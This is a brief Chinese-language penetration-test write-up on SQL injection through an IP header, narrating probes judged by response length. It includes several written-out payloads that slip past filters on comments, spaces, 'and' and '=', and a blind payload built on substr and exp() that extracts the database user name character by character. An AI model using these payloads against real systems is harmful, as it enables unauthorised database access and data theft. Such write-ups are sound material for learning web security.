這個注入挺特殊的，是ip頭注入。我們進行簡單的探測:
首先正常發起一次請求，我們發現content-type是76
探測注入我習慣性的一個單引號:
一個單引號我發現長度還是76
我開始嘗試單引號，雙引號一起:
我失敗了長度還是76
一般sql注入輸入單引號一般長度都會有些變化。
我記錄深入探測，我輸入'--%20
返回了200，並且長度是0，這讓我產生了一絲好奇。這里很有可能存在注入哦。
我繼續探測:
輸入--%20
嘶!我不禁開始懷疑這里是不是本身就不存在安全問題呢？
我都感覺像是數字類型了，很顯然不是。。因為假設是數字類型注入輸入'--%20會報錯。
那么究竟是什么問題呢？我覺得應該是過濾了注釋符。過濾了--%20
我開始換一種方式進行探測:
我嘗試輸入'%20and%20'1'='1
返回200，長度為空，並且沒有報false的提示，我覺得有戲，我嘗試輸入'%20and%20'1'='2
輸出都一樣。。。太坑了吧，這里我猜測可能過濾了and,也有可能過濾了空格
我們先把空格用+代替顯示:
輸入:'+and+'1'='1
返回長度還是76，繼續輸入:
'+and+'1'='2
沒任何變化。好了+號測試了不行，我們試試還有啥方法可以代替空格?
輸入'/**/and/**/'1'/**/=/**/'1:
返回長度76，繼續輸入:
'/**/and/**/'1'/**/=/**/'2
返回長度還是76。。沒任何變化。
現在測試了三種方法，那么這里繼續推測1.可能過濾了and 2.可能過濾了=號
基於這兩種過濾，我開始嘗試把and 替換成or，把=替換成/**/
再進行輸入新的payload:
'/**/or/**/'1'/**/like/**/'1
oh!我感覺我有希望了，他終於返回了不一樣的結果，接下來繼續探測:
輸入:'/**/or/**/'1'/**/like/**/'2
返回長度76，至此我可以很確認這是個sql注入。
現在我們在理清下思路:
1.使用like代替=
2.使用/**/代替空格
3.使用or代替and
然后我們構造如下payload進行探測數據庫user:
'/***/OR/****/1/****/like/****/case/****/when/****/substr(user,1,1)/**/Like/***/'a'/**/then/**/1/****/else/****/exp(1111)/**/end/***/and/**/ '1'='1
成功遍歷出數據庫第一位是J:
然后我們依次往下遍歷就是了就能得到完整的user內容。
簡單的演示下整個注入的過程。
這次遇到的注入讓我知道了，堅持就是勝利!